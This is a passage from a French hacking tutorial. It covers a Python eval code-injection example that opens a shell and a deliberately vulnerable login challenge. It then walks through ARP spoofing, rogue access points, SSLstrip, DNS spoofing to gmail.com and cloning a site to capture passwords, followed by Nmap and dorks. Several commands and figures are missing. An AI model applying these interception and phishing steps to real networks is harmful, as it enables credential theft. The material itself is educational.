permet de charger une variable et BINARY_[instruction] permet d’effectuer une
opération mathématique (ex : BINARY_MULTIPLY = multiplication). Les trois
premières lignes veulent donc dire 3 * x. Si on déchiffre la suite on obtient un +2
et un renvoie de valeur, nous sommes donc bien dans une fonction, ce qui veut
dire que la première ligne est la déclaration de cette fonction, et de facto, x est un
paramètre de cette fonction :
On peut très facilement retrouver l’assembleur d’un fichier avec le module dis :
104
VIII. Différences entre version de Python et exploitation de fichiers
Maintenant que vous savez que le code Python peut être compilé pour gagner du
temps dans l’interprétation des instructions, et que nous pouvons récupérer le
code original d’un script compilé à l’aide d’un processus appelé la rétro-ingénierie,
eh bien l’on peut dire que vous êtes bien renseigné sur ce langage.
Cependant, il reste un domaine que vous devez approfondir, celui des versions de
Python. Tout à l’heure, vous avez pu voir que d’une version à l’autre de Python,
certains modules ne sont plus disponibles, certaines fonctionnalités disparaissent,
d’autres apparaissaient, et, si beaucoup de problèmes peuvent être résolus par la
simple installation d’une version antérieure, parfois les choses ne sont pas si
faciles.
Si Python change, c’est certes pour remettre au goût du jour certaines de ses
syntaxes, par exemple l’affichage du texte qui est passé de ça :
print("mon texte")
Parfois ce sont des correctifs de sécurité qui sont apportés, l’un des plus
importants fut celui de la fonction input(). Cette dernière était pourvue d’une
fonctionnalité d’élévation de l’expression, ce qui la rendait vulnérable à l’injection
de code. En d’autres termes, n’importe qui pouvait rentrer du code qui allait être
exécuté par le script, et, si une telle faille n’a pas d’intérêt lorsqu’elle est
exécutée sur notre ordinateur, elle en a beaucoup plus quand ce script permet
une élévation de privilège où l’accès à une machine.
>>> eval("3+2")
5
Mais cela peut aussi se faire avec des blocs de code complet :
>>> import os
>>> eval("os.system('sh')")
sh-5.1$
105
Alors imaginer un peu maintenant les dégats que peut faire une fonction input qui
se comporte comme une demande d’injection de code…
Pour pallier à ce problème, les développeurs de python2 avaient créé la fonction
raw_input qui n’effectuait pas une élévation de l’expression :
def input(expr):
return eval(raw_input(expr))
Pour vérifier que vous avez bien compris les deux chapitres précédents, je vous
propose un petit jeu. Le but est de réussir à vous identifier sur la machine (la
vôtre) en usant de ruses et d’intelligences. Copiez le code suivant dans un fichier :
#!/bin/python3
import os
def authentification():
utilisateur = input("Nom d'utilisateur : ")
if "sh" in utilisateur or "py" in utilisateur:
print("Alors comme ça on essayait d'avoir un shell ;)")
return False
mdp = input("Mot de passe de " + str(eval(utilisateur)) + " : ")
if len(utilisateur) >= 20 and not ' ' in utilisateur:
if eval(utilisateur) == "MauriceBarrès":
rep = [117, 6, 16, 67, 71, 16, 2, 11, 1, 76, 20, 83, 68]
k = "9ce140dbf9f6761923af0f99ec27e758"
mdp = [ord(c) for c in mdp]
for i in range(len(mdp)):
mdp[i] = mdp[i] ^ ord(k[i])
if mdp[i] != rep[i]:
print("Mot de passe incorrect")
return False
print("Bienvenue sur votre système ! ")
os.system("sh")
else:
print("Ce nom n'est pas connu de notre base :(")
else:
print("Il semblerait que quelque chose se soit mal passé")
authentification()
Bonne chance et bien joué pour avoir lu en entier ce module sur Python ! 👍
106
Gestion des réseaux et attaques MITM
Avec l’arrivée d’Internet et son déploiement à grande échelle, il est aujourd’hui
impensable de ne pas se débrouiller un minimum avec les réseaux, surtout en
sécurité informatique. Savoir explorer son réseau est indispensable et vous
donnera parfois l’accès à une myriade d’informations pouvant faire la différence.
Avant d’aborder quoi que ce soit, il serait important de préciser comment des
machines peuvent communiquer entre elles. Les plus jeunes qui lisent ces lignes
me répondront que toutes les communications se font par la magie des ondes,
mais il n’en a pas toujours été comme ça.
Au début de la mise en place des réseaux, il n’y avait qu’un seul gros câble
portant un nom barbare : le câble coaxial (à gauche ci-dessous).
Mais avec la complexification des données qu’il y avait à envoyer, et surtout pour
éviter de grosses perturbations sur le réseau, que la simple couche d’aluminium
du coaxial n’empêchait pas, décision fut prise d’adopter un nouveau câble, le
torsadé (à droite ci-dessus), accompagné de sa fidèle prise, la RJ45.
Bien après, le wifi et autre réseau sans fil firent leur apparition, dans le désir
toujours plus accru d’avoir des appareils totalement portables.
107
Ainsi nous sommes passés d’une représentation en réseau qui généralement était
en cercle (les machines ont un maximum de deux voisins avec qui communiquer,
ce qui mis bout à bout forme un cercle) ou en ligne (les machines utilisent toute le
même câble pour communiquer), à une représentation en étoile aujourd’hui.
Cela s’est vu dans l’invention de nouvelles machines utiles aux réseaux. Tout
d’abord le commutateur (switch en anglais), qui permit l’installation de proto-
système en étoile. Son utilisation est plutôt désuète aujourd’hui, surtout dans les
réseaux particuliers. On peut cependant le retrouver dans les entreprises, où il
sert de jonction entre plusieurs machines et le routeur.
Vous connaissez maintenant les différents types de matériels et leur utilité sur le
réseau, c’est-à-dire, la couche 1 du modèle OSI. Nous allons aborder les autres
dans la partie suivante.
Il s’agit d’un modèle sur lequel est transmis l’information. Les données sont
découpées sous la forme de paquets (un peu comme une grosse commande sur
Internet serait découpée en plusieurs colis) et passent au travers de couches
successives afin d’être transmis dans leur intégralité à la machine destinataire. Il
existe sept couches, allant du logiciel le plus développé au matériel le plus brut,
tout en passant par les programmes de sécurisation et d’ajustement de
108
l’information. Chaque paquet passe de la septième, la plus haute, à la première,
la plus basse. Chaque couche porte un nom et à une utilité propre :
Lors d’un envoi, un paquet passe de la couche 7 jusqu’à la une, et à l’inverse, lors
d’une réception, il passe de la première jusqu’à la septième.
Ce qui est intéressant pour nous, c’est que chacune de ces couches peut être
détournée afin de récupérer des données ou prendre le contrôle de la machine. Je
ne pourrais toutes vous les présenter, mais nous verrons les plus intéressantes et
les plus utiles d’entre elles.
La première des choses à faire va être d’étudier notre propre matériel, pour cela
vous aurez besoin de la suite net-tools :
Elle vous donne accès à tout un tas de commandes bien utiles, et notamment
certaines concernant les périphériques réseaux de votre machine. Pour
109
commencer à les étudier, il existe deux commandes : ifconfig et iwconfig, la
première s’occupe de toutes les cartes, là où la deuxième ne s’occupe du wifi.
Nous ne nous occuperons que de la première qui englobe toutes les cartes :
$ ifconfig
Gardez votre calme face à ce flot d’informations, nous allons l’expliquer. Ce que
vous avez en face de vous correspond aux informations sur vos différentes cartes
réseaux, c’est pourquoi les données qui seront affichées à votre écran risquent
d’être fortement différentes des miennes.
Comme vous pouvez le voir, j’ai trois cartes réseau :
α eno1 pour le filaire. De manière générale, toute carte dont le nom
commence par un E (ex : eth0) est une carte filaire, c’est-à-dire branché à
une prise RJ45.
α lo pour l’hôte. Cette carte est présente sur toutes les machines et a un nom
invariable. Il s’agit de la carte interne à votre machine, le localhost.
α wlo1 pour le sans-fil. De manière générale, toute carte dont le nom
commence par un W (ex : wlan0) est une carte sans-fil, c’est-à-dire utilisant
la technologie wifi.
Parfois, certaines cartes réseaux sont manquantes sur certains appareils, cela
i signifie que, soit la machine ne possède pas certaines technologies, soit
certains pilotes prenant en charge les composants ne sont pas présents.
110
Maintenant que nous connaissons notre matériel, laissez-moi vous présenter une
situation, un petit scénario, dans lequel vont vous être présenté les différentes
façons de dérober ou d’injecter des données par le réseau.
Louis et son père Philippe dispose d’un petit réseau sur lequel deux ordinateurs et
un serveur sont reliés à l’aide d’un commutateur :
Louis, qui vient d’installer Arch Linux, veut un peu s’amuser avec son vieux père
et désire lui dérober ses informations lorsqu’il se connecte au serveur (à chacun
ses occupations).
Une des premières idées qu’il eut fut de changer le câblage du réseau, de telle
sorte que les paquets en provenance de l’ordinateur de son père passe par le
sien. Cette technique porte un nom anglais, le wiretapping, qui littéralement
signifie écoute téléphonique. Elle était très utilisée à l’époque où les gens
utilisaient leur téléphone pour leur seule véritable utilisation : téléphoner.
Ici, dans un réseau connectant des ordinateurs, il n’y aurait qu’à faire la jonction
entre les deux ordinateurs :
111
Ainsi, les paquets partant de l’ordinateur de Philippe passeront forcément par
celui de Louis. Ce dernier n’aura plus qu’à mettre sous écoute la ligne !
! Bien que cette technique soit très efficace, il ne faut l’utiliser qu’en dernier
recours. Elle est chère en termes de matériel et peu discrète.
Si vous désirez plus d’informations sur ce sujet, ce lien devrait vous être utile.
Toujours en est-il que Philippe a flairé la supercherie et a donc changé la
configuration du réseau :
Sur Linux, il y a la possibilité, pour peu que vous ayez une bonne carte réseau, de
créer un point d’accès, et c’est ce que nous allons faire pour usurper le réseau du
palais. Il est possible de créer un point d’accès depuis l’interface graphique ou la
console, mais vous vous doutez bien que c’est la dernière qui nous intéresse.
112
Pour créer un point d’accès vous aurez besoin de la commande nmcli, sa syntaxe
est des plus simples :
Si nmcli n’est pas installé sur votre machine, tapez ce qui suit :
! # apt install network-manager
# systemctl start network-manager
Dans ce charabia :
α [interface] représente le nom de votre
carte wifi, par exemple, wlo1
α [nom] doit être le même que celui du Wifi
que vous allez usurper
α [mdp] est également semblable au wifi
se nous allons falsifier.
113
IV. Exploitation des couches 2 et 3
Depuis que Philippe est au courant des actions de Louis, il lui a retiré sa carte wifi,
il ne peut donc plus créer de faux point d’accès depuis sa machine.
Malheureusement pour Philippe et forte heureusement pour nous et Louis, il
existe encore un bon nombre de méthodes pour dérober les précieuses
informations du royaume de France.
114
γ 1111 0000
γ 1010 1001
γ 0001 0011
i Par convention, on sépare les groupes de 4 bits afin de les rendre plus
lisibles. Vous imaginer devoir lire un nombre comme 01010101110101 ?
Tandis que les nombres suivants ne sont pas des octets écrits en binaire :
γ 2300 1020 ⇒ Le nombre n’est pas écrit qu’avec des 0 et des 1
γ 01 1010 ⇒ Il manque des bits pour former un octet valide
γ 1001 0100 0101 ⇒ À l’inverse, il y a trop de bits pour un octet.
Donc, mon adresse IP écrite sur 4 octets, est 192.168.1.100 dans sa forme
décimale, et est 1100 0000.1010 1000.0000 0001.0110 0100 en binaire. J’ai
laissé les points pour que vous puissiez voir les séparations entre les octets, mais
lors d’une communication réelle, ceux-ci n’apparaissent pas.
Faisons de même avec le masque : 1111 1111.1111 1111.1111 1111.0000 0000.
Vous remarquerez un phénomène très intéressant, les 1 et les 0 sont séparés. Ce
n’est pas un hasard, c’est le fonctionnement même du masque qui veut ça, les 1
désignant la partie réseau et les 0, la partie machine. Ainsi, vous ne pourrez
jamais voir un 0 au milieu des 1, ou l’inverse, c’est impossible, les deux doivent
être séparés, ce qui fait que les deux masques suivant sont valides :
γ 1111 1111.0000 0000.0000 0000.0000 0000
γ 1111 1111.1111 1000.0000 0000.0000 0000
Et ceux-là sont invalides :
γ 1111 1111.0000 0000.0000 1110.0000 0010
γ 0000 0000.1111 1111.1110 0000.1100 1110
Ainsi, en mettant mon masque et mon adresse IP côte à côte, je peux savoir quel
est la partie machine et la partie réseau :
115
1100 0000.1010 1000.0000 0001.0110 0100
1111 1111.1111 1111.1111 1111.0000 0000
Partie réseau Partie machine
On peut recommencer avec une autre IP et un autre masque si vous voulez. Soit
la machine ayant pour adresse 10.10.10.9 et pour masque 255.252.0.0, leur
représentation en binaire donne donc ceci :
0000 1010.0000 1010.0000 1010.0000 1001
1111 1111.1111 1100.0000 0000.0000 0000
Partie réseau Partie machine
En retrouvant qui est qui entre le réseau et la machine sur une adresse IP, on peut
retrouver les bits communs de n’importe quel réseau, ce qui aura son importance
lorsque nous étudierons l’analyse de réseau avec Nmap, je ne vous enquiquine
pas avec pour l’instant ;)
α ether : adresse MAC, c’est l’adresse physique de votre carte internet, enfin,
de celle qui est concernée.
Une adresse MAC est un ensemble de 6 octets, pourtant vous en voyez que 6
groupes de chiffres et de lettres séparés par le symbole « : ». Eh bien, croyez-le
ou non, ces chiffres et ces lettres sont la transcription d’un octet binaire dans une
nouvelle base : la base 16. On parle alors d’hexadécimal !
Vous avez remarqué que l’on nomme une base en fonction du nombre de chiffres
qu’il y existe. Par exemple :
116
! N’oubliez pas de renverser le résultat à la fin de vos calculs pour tomber sur
le bon nombre. Une erreur est si vite arrivée dans ce genre de cas.
Comme vous pouvez le voir sur l’exemple, le nombre 430 donne 1ae en
hexadécimal, ce qui en fait un nombre trop grand pour une adresse MAC. Vous
aurez en effet remarqué que chaque octet d’une de ces adresses n’est composé
que de deux caractères. On en déduit donc aisément que 00 est le minimum et ff
est le maximum, et, puisque 255 correspond à un octet où tous les bits sont à 1,
on en déduit par la même occasion que ff = 255 = 1111 1111.
Vous ne savez pas à quelle IP correspond quelle adresse MAC ? Pas de problème,
ARP est là pour ça, il suffit de demander à toutes les machines avec l’adresse de
diffusion si elles se sentent concernées par notre requête. Une fois qu’on a notre
réponse, on l’inscrit dans notre liste où des équivalences IP – MAC sont déjà
écrites, la table ARP. Sur Linux, on peut la consulter avec la commande :
$ arp -a
_gateway (192.168.1.254) at a0:2b:70:6d:b9:4c [ether] on wlo1
RedmiNote10 (192.168.1.42) at 5a:90:29:6a:73:73 [ether] on wlo1
117
Ici, ce n’est qu’un exemple de résultat avec ma table ARP. Vous pouvez voir qu’il
n’y a pas beaucoup d’appareils sur mon réseau…
La table ARP peut nous donner beaucoup d’informations sur un réseau, par
exemple, je sais que l’adresse de sortie du réseau, celle avec laquelle je dois faire
passer mes paquets afin de communiquer avec le reste du monde, est marquée
comme _gateway et porte l’adresse 192.168.1.254.
Chaque appareil aura son petit nom d’inscrit dans la première colonne, son
adresse IP entre parenthèses, l’adresse MAC associée à cette IP et la carte de
notre machine qui l’a inscrite dans la table ARP.
Toujours est-il que le réseau du palais royal n’est pas une exception à la règle de
bonne tenue du réseau. Sa configuration est la suivante :
Maintenant que Louis n’a plus accès à sa deuxième carte réseau, il ne peut plus
dérober les informations de son père à l’aide d’un point d’accès. Heureusement,
une faiblesse du protocole ARP peut lui permettre de continuer ses petites
expériences.
An effet, si ARP permet la jonction entre les couches 2 et 3, rien n’oblige les
usagers du réseau à répondre correctement aux requêtes. Que se passerait-il si,
par une erreur vraiment inconvenante et tout à fait due au hasard, la mauvaise
adresse IP était associée à une autre adresse MAC.
Bienvenue dans le monde des attaques de l’homme du milieu (MITM) !
118
Louis s’apprête à faire une attaque nommée ARP spoof (ou ARP cache-poisoning
pour les puristes) : il va remplacer certaines informations dans les tables ARP des
utilisateurs du réseau pour faire passer les paquets par sa machine et ainsi
dérober des informations.
Dans le cas de Louis, il doit faire croire à l’ordinateur de son père qu’il est le
routeur, et au routeur, qu’il est l’ordinateur de son père. Il va donc commencer
par viser l’un des deux circuits, au hasard, l’axe Philippe-Routeur dans ce sens :
Puis l’axe Routeur-Philippe pour que ce dernier puisse recevoir les réponses de ses
envois successifs :
Et voilà ! Les paquets de Philippe passent bien par l’ordinateur de Louis, mais
comment les observer ?
Depuis tout à l’heure, je vous parle de dérober des informations, mais je ne vous
ai toujours pas montré comment faire. Nous allons utiliser un logiciel d’analyse de
réseau nommé wireshark. Il existe deux versions de ce logiciel mises à
disposition, celle par ligne de commande et celle par interface graphique ; nous
prendrons celle avec l’interface graphique puisqu’elle se trouve être la plus
complète des deux. Pour installer Wireshark :
119
Ouvrons ensuite le logiciel depuis le terminal, ce dernier ayant besoin des
permissions du super-utilisateur pour fonctionner :
# wireshark
Sélectionnez la carte réseau sur laquelle vous avez rentré les instructions de
dsniff, c’est par celle-ci que les paquets passeront, ou alors sélectionnez any si
vous ne savez pas trop quoi choisir, toutes les cartes seront ainsi passées au
crible fin.
120
Vous tombez alors en face de cette fenêtre aux informations s’affichant au fur et à
mesure. La zone présente tout en haut est celle où arrivent successivement les
paquets passant par votre carte réseau. Ils peuvent avoir n’importe quelle origine,
votre appareil, un serveur qui vous envoie des données en réponse, ou alors les
informations de votre victime…
Ce dernier présentoir n’est pas des plus utiles puisque nous ne nous servirons
pratiquement jamais du format brut.
Le dernier élément les plus utiles sont dans la barre d’actions en haut de l’écran :
121
Ici, pour vérifier que notre attaque fonctionne bien, nous allons effectuer un test
de connexion sur l’ordinateur de Philippe lorsqu’il aura le dos tourné. Pour ce
faire, nous utiliserons la commande ping. Celle-ci envoie un paquet demandant à
la machine si elle est belle et bien connectée à un réseau et joignable par apport
à nous en utilisant le protocole ICMP.
ICMP (pour Internet Control Message Protocol) est un protocole très simple dont la
seule utilité se cantonne à son utilisation avec ping. La commande suit cette
syntaxe :
$ ping [adresse]
$ ping 10.10.10.4
Il suffira à Louis de n’afficher que les requêtes portant le protocole ICMP pour que
le logiciel lui affiche les paquets envoyés par l’ordinateur de Philippe :
L’étape de la vérification n’est pas obligatoire lors d’une véritable attaque, car je
doute que vous ayez un accès physique à la machine que vous désirez espionner.
Ici, elle nous sert d’exemple pour, et voir l’utilité du protocole ICMP, et voir que
bien organisé son travail est une chose importante pour essayer de faire des
122
captures d’écran crédibles avec les bonnes informations, plutôt que celle que je
vous refile, faites un peu à l’arrache sur différentes versions de Linux (c’est la
troisième fois que je réécris cette partie).
Je peux comprendre qu’observer les requêtes ICMP envoyées entre deux appareils
ne vous intéresse pas vraiment (qui en serait épris)… Mais une attaque ARPspoof
peut révéler toutes sa puissance dans les informations récupérées par Wireshark.
SI l’utilisateur se rend sur un site avec le protocole http, et envoie un formulaire
pour rentrer son mot de passe par exemple, celui-ci apparaîtra en clair sur
Wireshark :
Ici, n’importe quelle information rentrée par Philippe sur son site non protégé sera
visible par Louis, car ce dernier intercepte les communications, comme sur le
schéma ci-dessous :
La réponse donnée par le serveur (une page HTML ici, plus d’informations sur le
fonctionnement du Web dans la partie qui lui est consacrée) passe de l’ordinateur
de Louis, à celui de Philippe, et ce de manière totalement inaperçue. Enfin, par un
jeu de circonstance incroyable, et surtout, car ça arrange notre scénario, partons
du principe que Philippe a, une fois n’est pas coutume, découvert les sombres
agissements de son fils. De nouvelles structures de sécurités ont été ajoutées par
Philippe, et cela va bien nous corser le travail.
123
Le père de Louis va dès à présent utiliser
l’extension HTTPS everywhere, lui
permettant de chiffrer ses connexions
entre son serveur et son navigateur. Vous
avez déjà utilisé HTTPS dans votre vie de
tous les jours, en navigant sur internet ;
vous savez, c’est ce petit mot, comme son
cousin http, qu’il faut taper au début de
chaque URL, votre navigateur symbolise
sa présence par un cadenas présent à
gauche de la barre d’adresse.
Eh bien, dans un premier temps, les deux machines vont fabriquer deux clefs de
chiffrement, une publique qui sera distribuée à tous sur le réseau, et une privée
qu’ils garderont bien pour eu-même. Il va donc y avoir échange entre les clefs
publiques des deux machines, mais pas entre les clefs privées ; situation pouvant
être représentée par ce schéma :
124
déchiffrer avec les clefs. Imaginez seulement un instant qu’il nous faille générer
une paire de clefs, les échanger, et enfin chiffrer puis déchiffrer nos messages
pour chaque communication sur le réseau : ce serait infernalement long !
Ainsi, les informaticiens de l’époque ont jugé bon de n’utiliser cette méthode qu’à
chaque début de communication pour chiffrer et déchiffrer une clef symétrique
qui, elle, servira tout au long de l’échange. Le processus prend donc cette forme
si Philippe était celui qui initierait la connexion :
La clef symétrique servira, quant à elle, à chiffrer les échanges standards entre
les deux machines. Je ne détaillerai pas ici les protocoles et algorithmes utilisés
pour chiffrer et déchiffrer les données ; une partie y est consacrée, et elle se
trouve beaucoup plus basse, dans les chapitres sur la cryptographie…
Dès à présent, lorsque Louis, désireux de voler les données de son père,
recommencera son attaque arpspoof, la seule chose qu’il pourra voir seront des
données chiffrées. Heureusement pour nous, il existe un moyen de passer au
travers des mailles du filet pour continuer nos petites affaires.
125
Cette attaque n’a rien de plus par rapport à un simple arpspoof, le trafic redirigé
étant ensuite analysé par l’attaquant en utilisant un logiciel comme SSLstrip.
Chiffré le trafic de droite n’était même pas une étape obligatoire, et servait
uniquement à rendre l’attaque plus réaliste aux yeux de la victime. Cependant,
les technologies ont bien évolué depuis l’époque de HTTPS everywhere, et avec
ces changements, l’apparition de nouveaux protocoles sécurisant encore plus la
connexion entre deux machines.
Aujourd’hui, HSTS empêche la réussite d’une grande partie des attaques MITM en
forçant la redirection vers HTTPS et en bloquant la connexion si ce n’est pas
possible. De plus, l’ajout des certificats pour identifier correctement les serveurs
font qu’il n’est plus possible, avec les moyens actuels, de falsifier le service d’un
autre site dont la connexion est chiffrée.
Mais est-ce que toutes ces barrières vont vraiment nous empêcher d’arriver à nos
fins ? Eh bien, presque… Mais pas encore totalement ! Il existe une dernière
grande attaque du type MITM que je me dois de vous présenter, et qui va nous
faciliter la vie vis-à-vis des nouvelles restrictions sur le Web. Vous vous souvenez
quand, plus haut, je vous expliquais que vous agissiez tel un serveur lors d’un
arpspoof ou d’une utilisation de sslstrip ; cette fois-ci, nous allons devenir le
serveur !
Je vous explique : inutile de rediriger les requêtes de notre utilisateur, car cela
nous est aujourd’hui impossible. Ce qui nous intéresse vraiment dans cette
histoire, c’est la récupération des données, alors pourquoi s’embêter quand une
bête vitrine où l’utilisateur rentre ces mots de passe est plus efficace ? Il va donc
falloir rediriger le trafic lié aux services du web qui nous intéresse, à notre
machine, et pour ce faire, on va utiliser l’attaque nommée dnsspoof.
L’attaque se base sur le protocole DNS (pour Domain Name System). C’est lui qui
concrètement, vous sauve la vie sur Internet tous les jours en vous offrant la
possibilité de taper www.wikipedia.com à la place de 91.198.174.194 dans la
barre d’adresse URL de votre navigateur lorsque vous souhaitez vous renseigner
sur les différents types d’exploitations agricoles prévus pour les cultivateurs de
concombres gais au Brésil sur Wikipédia !
Pour faire notre attaque dnsspoof, nous allons utiliser la commande du même
nom présente au sein du paquet dsniff que vous avez déjà installé tout à l’heure :
10.10.10.3 www.gmail.com
10.10.10.3 www.diwa.com
126
C’est ce fichier qui va faire la liaison entre une adresse IP et un nom de domaine,
ces redirections n’étant valides que durant l’attaque bien sûr :)
Louis a donc créé son propre fichier de résolution, au sein duquel il décide de
rediriger toutes connexions allant vers www.gmail.com et www.diwa.com sur
l’adresse IP 10.10.10.3. Cela veut dire que TOUTE requête étant interceptée par
Louis, à destination de ces deux domaines, peu importe sa nature (site, ssh, mail),
seront redirigées vers l’adresse de Louis (10.10.10.3, rappelez-vous).
127
gros services comme Google ou Amazon : Il va falloir rentrer chaque IP du plus de
serveurs web possible de la marque pour couvrir tout le service.
Pour finir, un petit exemple pour permettre de comprendre. Nous allons tenter
d’espionner les connections d’une machine allant vers, à tout hasard,
www.diwa.com.
Mon réseau :
α Mon ordinateur → 192.168.1.18
α Mon téléphone → 192.168.1.94
α Passerelle réseau → 192.168.1.254
$ host www.diwa.com
www.diwa.com is an alias for diwa.com.
diwa.com has address 80.74.144.93
diwa.com mail is handled by 10 mail.diwa.com.
On va tenter de rediriger la victime sur notre propre serveur web et devons donc
installer le fameux service. Ici, ce sera apache2 :
128
Les sites sont stockés dans le répertoire /var/www/html sur apache2, il existe un
exemple déjà préparé qui fut créé lorsque le programme fut installé, il va falloir le
supprimer :
# rm -Rf /var/www/html
Puis nous allons enfin cloner le site sur notre serveur avec le paquet httrack. Il
nous faut l’installer :
Puis taper :
Le premier paramètre à donner à httrack est l’URL du site à cloner, le second est -
O pour spécifier le répertoire où sera la copie (ici : /var/www/html).
Il faut maintenant allumer apache2 :
192.168.1.18 diwa.com
192.168.1.18 www.diwa.com
129
III. Automatisation et attaques profondes
Maintenant que nous avons vu le processus manuel de ces deux attaques, laissez-
moi vous présenter un petit logiciel qui vous permettra « d’automatiser » vos
attaques en les rendant beaucoup moins fastidieuses, j’ai nommé Xerosploit.
Vous pouvez le télécharger depuis ce lien : https://github.com/LionSec/xerosploit.
Un autre outil sympa pour automatiser ce genre de tâche este Ettercap, il
fonctionne généralement très bien. Vous pouvez le télécharger depuis les
sources :
Avec Xerosploit, vous aurez la possibilité d’aller plus loin dans vos attaques. Ce
logiciel offre la possibilité d’injecter du Javascript ou de l’HTML à l’intérieur des
requêtes Web, ce qui peut être pratique pour des attaques XSS ou CSRF (référez-
vous au chapitre sur ce sujet pour plus de détail.
130
α
Le reste des informations est peu utile.
$ ping google.com
$ host [domaine]
$ whois [domaine]
$ traceroute [addresse]
$ lspci
$ hciconfig
$ bluetoothctl
(
$ wget [URL]
131
$ curl [URL] > [fichier]
$ ftp [adresse]
132
Processus et Services
Dans le dernier module, je vous ai parlé de services tournant sur votre machine et
étant accessible depuis Internet. Je vous propose donc de voir plus en détail ce
qu’ils sont, et ce que sont les processus, l’ensemble auquel appartiennent les
services.
Ce chapitre vous sera bien utile. Il vous permettra d’attaquer en rendant vos
analyses plus efficaces et vos exploitations moins détectables, mais également de
vous défendre en vous donnant une foule d’informations sur votre machine.
133
En dehors de l’humour que peut susciter cette petite image, évitez d’utiliser les
signaux comme SIGKILL. Ils ne permettent pas au programme de se terminer
correctement et le force
$ top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
89197 jacky 20 0 13092 4156 3460 R 11,8 0,1 0:00.03 top
481 root -51 0 0 0 0 S 5,9 0,0 14:21.79 irq/130-
75296 jacky 20 0 2809368 195604 78888 S 5,9 5,5 11:21.50 plasmashell
76877 jacky 20 0 16,6g 100592 30324 S 5,9 2,8 11:14.65 brave
1 root 20 0 166072 3416 2788 S 0,0 0,1 1:01.96 systemd
Cette commande un peu illisible vous renvoie d’abord un petit pavé dans
lequel sont présentes les informations sur le nombre de tâches total, la puissance
du CPU allouée ou encore la mémoire RAM utilisée. Elle sort ensuite un long
tableau comprenant les indications suivantes :
α PID : le numéro attitré à la tâche
α USER : l’utilisateur qui a lancé le processus
α %CPU : la part de CPU que prend la tâche
α %MEM : la part de RAM que prend la tâche
α TIME+ : le temps écoulé depuis le lancement du processus
α COMMAND : le nom du programme
Il existe d’autres programmes un peu plus claire sur les informations rejetées, je
vous conseille d’utiliser top quand vous êtes sur une machine où il n’y a pas
beaucoup de place ou de privilège, sinon préférez des alternatives comme htop
ou gotop.
134
Une autre commande beaucoup plus pratique pou visualiser les processus est la
suivante :
$ ps
$ ps -an
135
II. Mettre fin aux tâches
Passons aux choses plus pratiques : comment mettre fin à un processus. Sur
Linux, on appelle ça tuer le démon (« Kill the daemon ») car les tâches sont vus
comme ces derniers (aller savoir pourquoi). On utilisera la commande suivante :
$ kill [PID]
Beaucoup de tâches ne peuvent être tuées car elles sont lancées par le
! super-utilisateur, il faut donc élever vos privilèges sur la machine avant de
pouvoir y toucher.
Il existe également une autre commande ciblant le nom du logiciel et non le PID :
$ killall [commande]
Celle-ci va mettre fin à toutes les tâches, quel que soit leur PID, portant le nom de
la commande. Par exemple, si je possède plusieurs fenêtres de terminal ouvertes
et que je tape :
$ killall gnome-terminal
Toutes mes fenêtres vont se fermer. Alors qu’avec kill, je peux les cibler une par
une.
136
La deuxième, mettre en pause le logiciel puis le mettre en arrière-plan. Pour ce
faire, laissez-moi d’abord faire un petit point sur les raccourcis claviers qui
pourront vous faire gagner de précieuses minutes :
Ceci étant fait, vous savez dès à présent que pour mettre un logiciel en pause, il
vous suffira de presser ctrl et z en même temps.
Une fois ceci fait, tapez la commande suivante pour mettre le démon en fond :
$ bg
$ fg
$ jobs
137
Les services sont les programmes qui tournent constamment en arrière plan sur
votre machine, dons l’optique d’être consulté par un utilisateur. Ils portent bien
leur nom, car finalement ils sont là pour proposer un service à un client, c’est
d’ailleurs de là également que vient la nomination « serveur » pour qualifier un
ordinateur n’étant créé que pour subvenir aux besoins d’une multitude de clients.
Bien que vous ne soyez pas en possession d’un data-center, votre machine,
comme n’importe quel autre, est capable d’accueillir des services. Vous serez
amené plus tard à en télécharger sur votre machine. SI je fais cette partie c’est
surtout pour donner de plus amples informations sur quelques-uns des services
que vous serez amenés à rencontrer dans les prochains chapitres.
138
Reconnaissance et Analyse
Nmap et le FootPrinting
Nmap est un logiciel permettant d'effectuer plusieurs opérations de
reconnaissances sur les réseaux.
Pour l'installer sur une machine se basant sur Debian (Ubuntu, Kali) :
I. Utilisation de Nmap
Avant de viser une machine en particulier, ils nous faut déjà faire la liste de celle
présente sur le réseau. Pour ce faire :
Astuce : enregistrez vos découvertes à l'intérieur d'un fichier texte ou d'un logiciel
comme CherryTree, vous pourrez les retrouver plus facilement pour les réutiliser.
Cette commande est bien pratique mais s'avère rapidement peu utile quand
nous sommes en face d'un très grand réseau avec plusieurs centaines de
machines. Vous ne vous servirez pas souvent de la commande suivante,
cependant elle peut s'avérer pratique dans ce cas précis pour trouver des ports
ouverts spécifiques :
Pour aller plus loin dans la reconnaissance, nous allons lister tous les porst
ouverts d'une machine :
139
$ nmap -A [ip]
$ man nmap
Les ports sont utilisés en réseau pour qu’une application puisse dialoguer
sur votre connexion. Par exemple, le port 80 est utilisé par HTTP, le protocole de
transmission non-chiffré des documents HTML. Quand votre machine possède ce
port ouvert, cela signifie qu’elle est à l’écoute et répondra à toutes requêtes, avec
l'application qui lui sert de serveur (apache2, nginx, etc.), quand elles se
présentent sur le port 80.
Beaucoup de ports sont standardisés, c'est à dire qu'ils sont très souvent les
mêmes sur toutes les machines et je vous encourage à retourner voir la partie sur
les services pour les reconnaître. Internet est également votre meilleur allié face à
une application inconnue au bataillon.
Ce sont les plus courants et ceux qui vous intéresseront le plus bien souvent.
Comme son nom anglais l'exprime si bien, il s'agit d'un système de script qui va
permettre l'automatisation de certaines tâches par nmap.
140
$ cd /usr/share/nmap/scripts
Petits exemples :
Je souhaite utiliser le script par défaut (qui porte le nom default) sur la machine
192.168.1.107 :
Nmap vous a permis de faire votre reconnaissance du réseau. Vous savez dès à
présent quels ports sont ouverts sur quelles machines. Avec certains scripts, vous
allez pouvoir être en mesure de détecter certaines failles pour certains ports. Les
failles que vous pourrez analiser avec nmap seront toujours présentes dans les
applications et ne concernent pas la partie réseau.
! Bien que Nmap soit gratuit et disponible à tous, son utilisation sur une
machine sans l’accord de son propriétaire est illégale.
141
Recherche et Dorks
Dans ce chapitre, un peu plus tranquille que la moyenne, on va améliorer vos
recherches internet et ce dans le but de trouver plus facilement les informations
correspondantes à vos attentes, ainsi que des machines présentant des
vulnérabilités.
Toutes ces requêtes possèdent leur homologue négatif. Par exemple, mettez un
moins devant inurl, et aucun résultat n’aura l’URL spécifiée
142
Je vous conseille de vous créer un compte, c’est gratuit et ça ne coûte rien. Si
vous n’avez pas envie d’utiliser votre adresse e-mail, ce que je comprends
